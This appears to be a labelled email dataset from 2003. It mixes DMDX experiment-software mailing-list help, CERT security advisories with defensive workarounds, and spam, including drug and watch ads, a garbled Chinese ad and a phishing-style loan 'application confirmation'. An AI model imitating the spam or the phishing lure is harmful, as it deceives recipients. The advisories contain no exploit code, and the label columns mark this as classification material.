Second, I am having problems with a portatil Pentium III with SiS 630/730 video card, and SiS 7018 audio driver. The TimeDX's error message is the following: ""Directx reports no support for Page Flipping The video card in this machine is not adequate for DMDX'x purposes"" I have already tried out installed a new drivers SiS 630/730 (1-8- 2002) to replace the present now. No difference - still not run. Any help would be greatly appreciated. Thanks, Edurne Goikoetxea ******************************************************** Edurne Goikoetxea Universidad de Deusto Facultad de Filosofía y Educación Aptdo. 1 48080-Bilbao Spain Tel. +34 94 413 9000 Fax +34 94 413 9089 ******************************************************** ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Jan 2003 18:09:16 -0700",[DMDX] Re: TimeDX no run,"At 12:56 AM 1/18/2003 +0100, you wrote: >Dear DMDX users, > >First, I apologize because my English is not good at all. > >Second, I am having problems with a portatil Pentium III with SiS >630/730 video card, and SiS 7018 audio driver. The TimeDX's error >message is the following: > >""Directx reports no support for Page Flipping >The video card in this machine is not adequate for DMDX'x >purposes"" > >I have already tried out installed a new drivers SiS 630/730 (1-8- >2002) to replace the present now. No difference - still not run. SiS video chipsets are universally woeful. If your hardware can't flip video pages you can't use DMDX on it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Health nuts are going to feel stupid someday, lying in hospitals dying of nothing. - Redd Foxx ",0,0 bfyer ,DMDX@psy1.psych.arizona.edu,,With our Soft Cialis Tabs you can even have sex with your ex. ,With our Soft Cial1$ Tabs y0u can even have sex with your ex. http://cjrgwnjk.gom63p3l4d3ekgy9lyyrlyyg.cutitismb.com,1,1 egoiko@arrakis.es,DMDX@psy1.psych.arizona.edu,"Sat, 18 Jan 2003 23:10:43 +0100",[DMDX] Re: TimeDX no run,"Dear Jonathan (j.c.f.), Thank-you for your answer. Faithfully, Edurne ******************************************************** Edurne Goikoetxea Universidad de Deusto Facultad de Filosofía y Educación Aptdo. 1 48080-Bilbao Spain Tel. +34 94 413 9000 Fax +34 94 413 9089 ******************************************************** ",0,0 Rua Haszard Morris ,DMDX@psy1.psych.arizona.edu,"Mon, 20 Jan 2003 08:45:08 +1100",[DMDX] RE: Re: paths to data files,"Thanks for the help... For those that aren't aware, the correct (i.e. way that works) way to specify non-local data files is using a forward slash '/', not a backslash '\\' (as is standard on windows systems. Escaping the backslash with another backslash (C string literal style) does not work either. e.g. to specify ""C:\\big data\\file.avi"" use ""C:/big data/file.avi"" If the above is not totally correct, please forgive me as I found this by experimenting with different delimiter characters. Thanks, Rua Haszard Morris. > At 10:58 AM 1/17/2003 +1100, you wrote: > >Hi... > > > >Is it possible in DMDX to specify data files (images, video > clips etc) that > >aren't in the same folder as the item file? > > > Yes. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""Wagner's music is better than it sounds."" > > - Mark Twain > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 19 Jan 2003 16:51:05 -0700",[DMDX] RE: Re: paths to data files,"At 08:45 AM 1/20/2003 +1100, you wrote: >Thanks for the help... > >For those that aren't aware, the correct (i.e. way that works) way to >specify non-local data files is using a forward slash '/', not a backslash >'\\' (as is standard on windows systems. Escaping the backslash with another >backslash (C string literal style) does not work either. > >e.g. to specify >""C:\\big data\\file.avi"" > >use >""C:/big data/file.avi"" > >If the above is not totally correct, please forgive me as I found this by >experimenting with different delimiter characters. Hmm that's odd. The backslash (\\) is what's always worked in the past and after checking it now still works on my machine. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lord Falkland's Rule: When it is not necessary to make a decision, it is necessary not to make a decision. ",0,0 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Tue, 21 Jan 2003 16:56:44 +0100",[DMDX] using external trigger to execute DMDX functions,"I'd appreciate some feedback on the viability of a concept that I would like to implement in DMDX. The background is a study of neural and autonomic responses to stimuli. It is well known that some neural and autonomic responses to stimuli (e.g. heart rate deceleration ~ orienting response) are dependent on when in the cardiac cycle the stimulus is delivered. The concept is simple: a reaction time measurement to an occasional (random ISI) stimulus, except that the stimulus is always delivered 200 msec after an ECG R-wave. Do you suppose that DMDX could wait for a PIO-12 input trigger signal (from a ECG R-wave detector), wait 200 msec, execute a stimulus presentation, gather a reaction time and then go to sleep for some seconds (random ISI) before triggering on the next available R-wave? I suppose that the fMRI peoples must want to coordinate DMDX with scans as well? Thanks, Derek P.S., I am forced to use the Novell GroupWise email program and have absolutely no control over the encoding format of my mails (i.e., HTML vs. plain text) ",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Tue, 21 Jan 2003 17:47:03 +0000",[DMDX] Re: using external trigger to execute DMDX functions,"Easily done - and an interesting project! The trick would be to wire up the R-wave detector to Bit 0 of the PIO (which is the request line). Then make sure that you are running in ""subject request mode"" (ie. not ) and voila, your trials will be triggered by the occurrence of an R-Wave. You might also want to put some blank item 0 events between your trials, so that there is a longer gap between stimuli. Hope this helps, Matt At 16:56 21/01/2003 +0100, you wrote: >I'd appreciate some feedback on the viability of a concept that I would >like to implement in DMDX. > >The background is a study of neural and autonomic responses to >stimuli. It is well known that some neural and autonomic responses to >stimuli (e.g. heart rate deceleration ~ orienting response) are dependent >on when in the cardiac cycle the stimulus is delivered. > >The concept is simple: a reaction time measurement to an occasional >(random ISI) stimulus, except that the stimulus is always delivered 200 >msec after an ECG R-wave. > >Do you suppose that DMDX could wait for a PIO-12 input trigger signal >(from a ECG R-wave detector), wait 200 msec, execute a stimulus >presentation, gather a reaction time and then go to sleep for some >seconds (random ISI) before triggering on the next available R-wave? > >I suppose that the fMRI peoples must want to coordinate DMDX with scans as >well? > >Thanks, > >Derek > > >P.S., I am forced to use the Novell GroupWise email program and have >absolutely no control over the encoding format of my mails (i.e., HTML vs. >plain text) > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 ****************************************************",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 21 Jan 2003 11:05:15 -0700",[DMDX] Re: using external trigger to execute DMDX functions,"At 04:56 PM 1/21/2003 +0100, you wrote: >I'd appreciate some feedback on the viability of a concept that I would >like to implement in DMDX. > >The background is a study of neural and autonomic responses to >stimuli. It is well known that some neural and autonomic responses to >stimuli (e.g. heart rate deceleration ~ orienting response) are dependent >on when in the cardiac cycle the stimulus is delivered. > >The concept is simple: a reaction time measurement to an occasional >(random ISI) stimulus, except that the stimulus is always delivered 200 >msec after an ECG R-wave. > >Do you suppose that DMDX could wait for a PIO-12 input trigger signal >(from a ECG R-wave detector), wait 200 msec, execute a stimulus >presentation, gather a reaction time and then go to sleep for some >seconds (random ISI) before triggering on the next available R-wave? > >I suppose that the fMRI peoples must want to coordinate DMDX with scans as >well? We've done it with the R-wave wired up to the request. The only fly in the ointment is that DMDX is synchronized to the raster so any response it makes to an external stimulus is going to be delayed by anything up to a single retrace interval. But that can be lowered to around 10ms on any modern machines. >Thanks, > >Derek > > >P.S., I am forced to use the Novell GroupWise email program and have >absolutely no control over the encoding format of my mails (i.e., HTML vs. >plain text) Looks like it's plain text to me, most impressive. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In Blythe, California, a city ordinance declares that a person must own at least two cows before he can wear cowboy boots in public. ",0,0 Christiane Bohn ,DMDX@psy1.psych.arizona.edu,"Wed, 22 Jan 2003 10:12:23 +0100",[DMDX] using voice key,"hi, I want to do a reading experiment for single words with my dyslexic patient. everything went very well so far, the voice key works and records the RTs wich is perfect. But how do I achieve that the written stimulus disappears from the screen as soon as the subjects responds (so that the voice onset triggers a blank screen)? For a key press response I added 'c' and that worked (as in +1 *""Mensch""c;) but this does not work for the voice key response. Does anyone have experience with this or a similar design? All help is very appreciated! Thanks! Christiane Bohn __________________________________________________________________ Gesendet von Yahoo! Mail - http://mail.yahoo.de Bis zu 100 MB Speicher bei http://premiummail.yahoo.de ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 22 Jan 2003 10:19:01 -0700",[DMDX] Re: using voice key,"At 10:12 AM 1/22/2003 +0100, you wrote: >hi, > >I want to do a reading experiment for single words >with my dyslexic patient. everything went very well so >far, the voice key works and records the RTs wich is >perfect. >But how do I achieve that the written stimulus >disappears from the screen as soon as the subjects >responds (so that the voice onset triggers a blank >screen)? >For a key press response I added 'c' and that worked >(as in +1 *""Mensch""c;) but this does not work for the >voice key response. > >Does anyone have experience with this or a similar >design? All help is very appreciated! Depends what's in your item file, by default the feedback from the VOX will clear the screen. Perhaps you have or that is stopping this in which case the way to clear the screen is to remove and instead use . http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhclearfeedbackkeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In Blythe, California, a city ordinance declares that a person must own at least two cows before he can wear cowboy boots in public.",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 22 Jan 2003 18:57:50 -0500",CERT Advisory CA-2003-02 Double-Free Bug in CVS Server,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-02 Double-Free Bug in CVS Server Original issue date: January 22, 2003 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems running CVS Home project versions of CVS prior to 1.11.5 * Operating system distributions that provide CVS * Source code repositories managed by CVS * For detailed vendor status information, see VU#650937: Overview A ""double-free"" vulnerability in the Concurrent Versions System (CVS) server could allow an unauthenticated, remote attacker with read-only access to execute arbitrary code, alter program operation, read sensitive information, or cause a denial of service. I. Description CVS is a version control and collaboration system that is widely used by open-source software development projects. CVS is commonly configured to allow public, anonymous, read-only access via the Internet. The CVS server component contains a ""double-free"" vulnerability that can be triggered by a set of specially crafted directory requests. While processing these requests, an error-checking routine may attempt to free() the same memory reference more than once. Deallocating the already freed memory leads to heap corruption, which an attacker could leverage to execute arbitrary code, alter the logical operation of the CVS server program, or read sensitive information stored in memory. In most cases, heap corruption will result in a segmentation fault, causing a denial of service. The CVS server process is typically started by the Internet services daemon (inetd) and runs with root privileges. Arbitrary code inserted by an attacker would therefore run with root privileges. The CERT/CC is tracking this issue as VU#650937: This reference number corresponds to CVE candidate CAN-2002-0059: This issue was researched and reported by Stefan Esser of e-matters: II. Impact Depending on configuration, operating system, and platform architecture, a remote attacker with anonymous, read-only access to a vulnerable CVS server could execute arbitrary code, alter the operation of the server program, read sensitive information, or cause a denial of service. There is also a significant secondary impact. An attacker who is able to compromise a CVS server could modify source-code repositories to contain Trojan horses, backdoors, or other malicious code. III. Solution Apply a patch or upgrade Apply the appropriate patch or upgrade as specified by your vendor. See Appendix A. below and the Systems Affected section of VU#650937 for further information: Disable or restrict anonymous CVS access As a temporary solution until patches or upgrades can be applied, or to improve the security of CVS servers in the long term, consider the following workarounds and configurations: * Disable anonymous CVS server access completely. * Block or restrict access to CVS servers from untrusted hosts and networks. Anonymous access to CVS servers using :cvspserver: is typically provided on port 2401/tcp. * Configure CVS servers to run in restricted (chroot) environments. * Host CVS servers on single-purpose, secured systems. These workarounds and configurations are not complete solutions and will not prevent exploitation of this vulnerability. Other features inherent in CVS may give anonymous users the ability to gain shell access. Appendix A. Vendor Information This appendix contains information provided by vendors. When vendors report new information, this section is updated and the changes are noted in the revision history. If a vendor is not listed below, we have not received their comments. The Systems Affected section of VU#650937 contains additional vendor status information: Conectiva Conectiva Linux is affected by this issue and updated packages are available at : 6.0/SRPMS/cvs-1.10.8-5U60_3cl.src.rpm 6.0/RPMS/cvs-1.10.8-5U60_3cl.i386.rpm 6.0/RPMS/cvs-doc-1.10.8-5U60_3cl.i386.rpm 7.0/SRPMS/cvs-1.11-7U70_2cl.src.rpm 7.0/RPMS/cvs-1.11-7U70_2cl.i386.rpm 7.0/RPMS/cvs-doc-1.11-7U70_2cl.i386.rpm 8/SRPMS/cvs-1.11-9U80_2cl.i386.rpm 8/RPMS/cvs-1.11-9U80_2cl.i386.rpm 8/RPMS/cvs-doc-1.11-9U80_2cl.i386.rpm An official announcement is pending and will show up in our updates website at shortly. Cray Inc. Cray Inc. supports CVS through their Cray Open Software (COS) package. COS 3.3 and earlier is vulnerable. A new CVS will be available shortly. Please contact your local Cray service representative if you need this new package. CVS Home CVS release 1.11.5 addresses this issue for CVS servers. CVS clients are not affected. Debian Debian has updated their distribution with DSA 233. For the stable distribution (woody) this problem has been fixed in version 1.11.1p1debian-8.1. For the old stable distribution (potato) this problem has been fixed in version 1.10.7-9.2. For the unstable distribution (sid) this problem will be fixed soon. Hewlett-Packard SOURCE: Hewlett-Packard Company and Compaq Computer Corporation, a wholly-owned subsidiary of Hewlett-Packard Company RE: x-reference SSRT3463 Not Vulnerable: HP-UX HP-MPE/ix HP Tru64 UNIX HP NonStop Servers HP OpenVMS To report any security issue for any HP software products send email to IBM The AIX operating system does not ship with CVS. However, CVS is available for installation on AIX from the Linux Affinity Toolbox. CVS versions 1.11.1p1-2 and earlier are vulnerable to the issues discussed in CERT Vulnerability Note VU#650937 and any advisories which follow. Users are advised to download CVS 1.11.1p1-3 from: Please note that the above address was wrapped to two lines. CVS 1.11.1p1-3 contains the security fixes made in CVS 1.11.5 to address these issues. This software is offered on an ""as-is"" basis. Openwall GNU/*/Linux We don't yet re-distribute CVS in Openwall GNU/*/Linux. We do, however, provide public anonymous CVS access to a copy of our repository, hosted off a separate machine and in a chroot jail. This kind of vulnerabilities in CVS was expected, and our anoncvs setup is mostly resistant to them: read-only access to the repository is achieved primarily with the use of regular Unix permissions, not controls built into CVS. CVS LockDir option is used to direct CVS lock files to a separate directory tree, actually writable to the pseudo-user. Nevertheless, the anoncvs server has been upgraded to CVS 1.11.5 a few hours after it was released. Red Hat, Inc. Red Hat Linux and Red Hat Linux Advanced Server shipped with a cvs package vulnerable to these issues. New cvs packages are now available along with our advisory at the URLs below. Users of the Red Hat Network can update their systems using the 'up2date' tool. Red Hat Linux Advanced Server: Red Hat Linux: Sun Microsystems Inc. Sun does not include CVS with Solaris and therefore Solaris is not affected by this issue. Sun Linux, versions 5.0.3 and below, does ship with a vulnerable CVS package. Sun recommends that CVS services be disabled on affected Sun Linux systems until patches are available for this issue. Sun will be publishing a Sun Alert for Sun Linux describing the patch information which will be available from: Appendix B. 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Revision History January 22, 2003: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPi8vSmjtSoHZUTs5AQGr2wQAwBNBUDgbiDbXzF3CsqmOgzQUKrgKYWHJ wbeH8Y+6Eiuha2bu/2JDBxYWOPdPUhu11USaa8fwg9k73yjVUCVeT+mRBTjVsw9k 9jwT96JtKj2aNyRT+KR4YAme0JzQCqgJD88B8Z6vCWdsMJXPKg1acjou2qNwbaqz UCRRY26e5dk= =FBp0 -----END PGP SIGNATURE-----",0,1 Joseph Hodge ,christina@uclink4.berkeley.edu,"Wed, 22 Jan 2003 17:51:57 -0600",RE: We can approve yours loan uheq,"Important Information: (Application Confirmation) for antonio@uclink4.berkeley.edu http://loancash2k.com We are glad to inform you that we received your application request on Thursday, however, before we can pre-approve you at one low fixed rate. We need for you to take a moment to confirm/update any information as needed. Once reviewing your application the process will not take any longer than 24 hours, you will be contacted shortly with up to four lenders offers. http://loancash2k.com You are receiving this because you or someone sent a request. If you feel you received this based on an error or did not request we sincerely apologize for any inconvenience this may of caused you. http://loancash2k.com/redirect ",1,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 23 Jan 2003 16:22:08 -0500",CERT Advisory CA-2003-03 Buffer Overflow in Windows Locator Service," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-03 Buffer Overflow in Windows Locator Service Original issue date: January 23, 2003 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Microsoft Windows NT 4.0 * Microsoft Windows NT 4.0, Terminal Server Edition * Microsoft Windows 2000 * Microsoft Windows XP Overview A buffer overflow vulnerability in the Microsoft Windows Locator service could allow a remote attacker to execute arbitrary code or cause the Windows Locator service to fail. This service is enabled and running by default on Windows 2000 domain controllers and Windows NT 4.0 domain controllers. I. Description A buffer overflow in the Windows Locator service may make it possible for a remote attacker to execute arbitrary code on a vulnerable system by sending an overly large request to the Windows Locator service. Microsoft describes the Windows Locator service as ""a name service that maps logical names to network-specific names."" From MS03-001: A client that is going to make a Remote Procedure Call (RPC) can call the Locator service to resolve a logical name for a network object to a network-specific name for use in the RPC. For example, if a print server has the logical name ""laserprinter"", an RPC client could call the Locator service to find out the network-specific name that mapped to ""laserprinter"". The RPC client uses the network-specific name when it makes the RPC call to the service. Further information about this vulnerability can be found in Microsoft Security Bulletin MS03-001 and in CERT/CC Vulnerability Note VU#610986, which correspond to CVE candidate CAN-2003-0003. II. Impact A remote attacker may be able to execute arbitrary code on a vulnerable system, or cause the Windows Locator service to fail. An attacker who is able to compromise a domain controller might be able to cause the compromised domain controller to trust the attacker's domain. III. Solution Apply a patch Disable vulnerable service Until a patch can be applied, you may wish to disable the Windows Locator service. To determine if the Windows Locator service is running, Microsoft recommends the following: * The status of the ""Remote Procedure Call (RPC) Locator"" service and how it is started (automatically or manually) can be viewed in the Control Panel. For Windows 2000 and Windows XP, use Control Panel | Administrative Tools | Services, and on Windows NT 4.0, use Control Panel | Services. * It is also possible to determine the status of the Locator service from the command line by entering: net start * A list of services will be displayed. If ""Remote Procedure Call (RPC) Locator"" appears in the list, then the locator service is running. To disable the Windows Locator service, Microsoft recommends the following: * An administrator can disable the Locator service by setting the RpcLocator service status to ""disabled"" in the services control panel. * The service can also be stopped via the command line using the sc.exe program, which ships with Windows XP and is included as part of the Windows 2000 Resource Kit. The following command will stop the service: sc stop RpcLocator * To disable the service using the command line tool, use the following: sc config RpcLocator start= disabled Restrict access to NetBIOS You may wish to block access to NetBIOS from outside your network perimeter. This will limit your exposure to attacks. However, blocking at the network perimeter would still allow attackers within the perimeter of your network to exploit the vulnerability. It is important to understand your network's configuration and service requirements before deciding what changes are appropriate. As a best practice, the CERT/CC recommends disabling all services that are not explicitly required. Before deciding to disable the Windows Locator service, carefully consider your service requirements. Please also note that Microsoft is actively deploying the patches for this vulnerability via Windows Update. Appendix A. Vendor Information This appendix contains information provided by vendors. When vendors report new information, this section is updated and the changes are noted in the revision history. If a vendor is not listed below, we have not received their comments. Microsoft Corporation Please see Microsoft Security Bulletin MS03-001. Appendix B. References * Microsoft Security Bulletin MS03-001 - http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms03-001.asp * CERT/CC Vulnerability Note VU#10986 - http://www.kb.cert.org/vuls/id/610986 _________________________________________________________________ This vulnerability was discovered by David Litchfield of Next Generation Security Software Ltd and was first described in MS03-001. _________________________________________________________________ Author: Ian A. Finlay. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2003-03.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2003 Carnegie Mellon University. Revision History January 23, 2003: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPjBbdGjtSoHZUTs5AQHgQAQAs9YLndDSDvjZKBTpDPAFK9FjQzUjlNRR p0xIrC8o3R7u1LG+YnBiisUXdvv9S9nnp5TBPfeYVllDkQMsCkgsWSKNNuRclhNN RtQUlYVpt+AGWB7RCQpn9jENpG7M3dbaFcQVFksYQWNE9OLhU7bGSzHBc3wg++Uv IGfitgzC2MA= =1PxZ -----END PGP SIGNATURE----- ",0,1 Rua Haszard Morris ,"""DMDX List (E-mail)"" ","Fri, 24 Jan 2003 15:37:13 +1100",[DMDX] error response feedback,"I'd like to present different feedback for specific response errors, and I can't work out how branch/set feedback for the following response errors: 1. more than one key pressed at once/within a certain timeframe 2. response occurred before timing started (e.g. before second stim in a discrim trial) It's easy to do late response feedback using ; is it this easy to do the two above? Are they possible using branching? Thanks in advance for any help, Rua HM. Rua Haszard Morris Software Engineer & Research Assistant MARCS Auditory Laboratories http://www.uws.edu.au/marcs/",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 23 Jan 2003 23:11:24 -0700",[DMDX] Re: error response feedback,"At 03:37 PM 1/24/2003 +1100, you wrote: >I'd like to present different feedback for specific response errors, and I >can't work out how branch/set feedback for the following response errors: > >1. more than one key pressed at once/within a certain timeframe >2. response occurred before timing started (e.g. before second stim in a >discrim trial) > >It's easy to do late response feedback using ; is it this >easy to do the two above? Are they possible using branching? I suspect option 1 is not possible, I don't think I ever added anything that would allow parsing of zillion responses. You could only do it after the fact with another program. Option 2 is certainly possible, just start the clock at the beginning of the item, turn DMDX's feedback routines off with and provide your own custom feedback routine (examples are in the docs as I recall) and compare the XT (raw RT before correctness is determined) to the time the target would have been displayed after the start of the trial. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The two great tragedies in life: not getting what one wants and getting it.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 24 Jan 2003 17:12:55 -0700",[DMDX] DX9 and GeForce video cards under XP," I just got to test a NVIDIA GeForce Ti 4200 on a windows XP box having upgraded to DirectX 9 and the GeForce crashes are gone, DMDX finds and use 24 back buffers. BUT the instructions of test script weren't displayed so there's something still flipped out in there. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In Blythe, California, a city ordinance declares that a person must own at least two cows before he can wear cowboy boots in public. ",0,0 Christner Ruth ,kris@uclink4.berkeley.edu,"Fri, 24 Jan 2003 16:47:56 -0500",Your Fat Enemy,"the danzig see airtight the neap not suspend may danzig ",1,0 CERT Advisory ,cert-advisory@cert.org,"Sat, 25 Jan 2003 12:03:10 -0500",CERT Advisory CA-2003-04 MS-SQL Server Worm," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-04 MS-SQL Server Worm Original release date: January 25, 2003 Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Microsoft SQL Server 2000 Overview The CERT/CC has received reports of self-propagating malicious code that exploits multiple vulnerabilities in the Resolution Service of Microsoft SQL Server 2000. The propagation of this worm has caused varied levels of network degradation across the Internet, in addition to the compromise of vulnerable machines I. Description The worm targeting SQL Server computers is self-propagating malicious code that most likely exploits two vulnerabilities in the Resolution Service of Microsoft SQL Server 2000 vulnerabilities. The vulnerability documented in VU#370308 allows the keep-alive functionality employed by the SQL Server Resolution Service to launch a denial of service against other hosts. Either the vulnerability VU#399260 or VU#484891 allow for the execution of arbitrary code on the SQL Server computer due to a buffer overflow. VU#370308 - http://www.kb.cert.org/vuls/id/370308 VU#399260 - http://www.kb.cert.org/vuls/id/399260 VU#484891 - http://www.kb.cert.org/vuls/id/484891 Reports to the CERT/CC indicate that the high volume of 1434/udp traffic generated between hosts infected with the worm targeting SQL Server computers may itself lead to performance issues (including possible denial-of-service conditions) on networks with infected hosts. Activity of this worm is readily identifiable on a network by the presence of small UDP packets (we have received reports of 376-410 byte packets) from seemingly random IP addresses from across the Internet to port 1434/udp. II. Impact Compromise by the worm indicates that a remote attacker can execute arbitrary code as the local SYSTEM user on the victim system. It may be possible for an attacker to subsequently leverage a local privilege escalation exploit in order to gain Administrator access to the victim system. The high volume of 1434/udp traffic generated between hosts infected with the worm may itself lead to performance issues on networks with both infected and targeted, but non-vulnerable hosts. III. Solution Apply a patch Administrators of all systems running Microsoft SQL Server 2000 are encouraged to review CA-2002-22 and VU#370308 for detailed vendor recommendations regarding installing the patch: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp CA-2002-22 - http://www.cert.org/advisories/CA-2002-22.html VU#370308 - http://www.kb.cert.org/vuls/id/370308 Ingress/Egress filtering The following steps are only effective in limiting the damage that can be done by systems already infected with the worm. They provide no protection whatsoever against the initial infection of systems. As a result, these steps are only recommended in addition to the preventative steps outlined above, not in lieu thereof. Ingress filtering manages the flow of traffic as it enters a network under your administrative control. Servers are typically the only machines that need to accept inbound traffic from the public Internet. In the network usage policy of many sites, external hosts are only permitted to initiate inbound traffic to machines that provide public services on specific ports. Thus, ingress filtering should be performed at the border to prohibit externally initiated inbound traffic to non-authorized services. Egress filtering manages the flow of traffic as it leaves a network under your administrative control. There is typically limited need for machines providing public services to initiate outbound connections to the Internet. In the case of this worm, employing ingress and egress filtering can help prevent compromised systems on your network from attacking systems elsewhere. Blocking UDP datagrams with both source and destination ports 1434 from entering or leaving your network reduces the risk of external infected systems communicating with infected hosts inside your network. Recovering from a system compromise If you believe a system under your administrative control has been compromised, please follow the steps outlined in: Steps for Recovering from a UNIX or NT System Compromise http://www.cert.org/tech_tips/win-UNIX-system_compromise.html Reporting The CERT/CC is interested in receiving reports of this activity. If machines under your administrative control are compromised, please send mail to cert@cert.org with the following text included in the subject line: ""[CERT#35663]"". _________________________________________________________________ Feedback can be directed to the author: Roman Danyliw ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2003-04.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2003 Carnegie Mellon University. Revision History January 25, 2003: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPjKkJmjtSoHZUTs5AQG4KgP+MGcnpMxQrAVMBu+jhPhIobYp2eaPRSfx Nj5TQs9A3749p11Of1h5KxyqrjBhL/Ff8jyac4Vj0XWa4KtYeiPbC0feN49LKEnn 6JLf24Pyov3wEPn9tcBJ511lAhD506sUVsTTrexrFUgaSCFnG4nucP1wC93JUbdx QxMA0Aixt1U= =VhD+ -----END PGP SIGNATURE----- ",0,1 ++++++++ KWC �F�z���N �q��BB�j ++++++++ ,be_free_fly@yahoo.com.tw,"Fri, 02 Sep 1898 04:50:32 +0800","�˴��j , BB�j �M�ܤj��� ���{��!! ���a�藍�_^_^!","KSC M945 Performance Center��������BB�j(2006�s��-�����u��) �}�L�� KWC �F�z���N(CO2-����-���s�o��-���t��) �}�L�� 2006�s��(���I��) -- M700T�������������j �}�L�� BB���j�N�i�H�s�o!! -- G26C��������BB�j(�i�s�o) �}�L�� KSC SW40F-CO2-BB�j(�������N������,���q�e�����u�X) �}�L�� KSC USP��������BB�j(2006�s�� .45��) �}�L�� KWC �F�z���N(CO2-����-���s�o��) �}�L�� 11�S1000ml�@������ 85�� �Y�z�L�k���`�\\�����H( �������i�J���� ) �����q�\\   tootle rufous twit grandson akin tangle repulsive eastbound callous laconic breadfruit perky lissajous",1,1 Jill Hope ,Adriana ,,Fwd: ...," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! 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The problem persisted so then we assumed it was the display drivers (since Dmdx is running on two other computers that were exactly the same except for the monitor and display drivers). Once the display drivers were upgraded dmdx appeared to work fine, albeit a bit slower when loading the program, but ran fine. 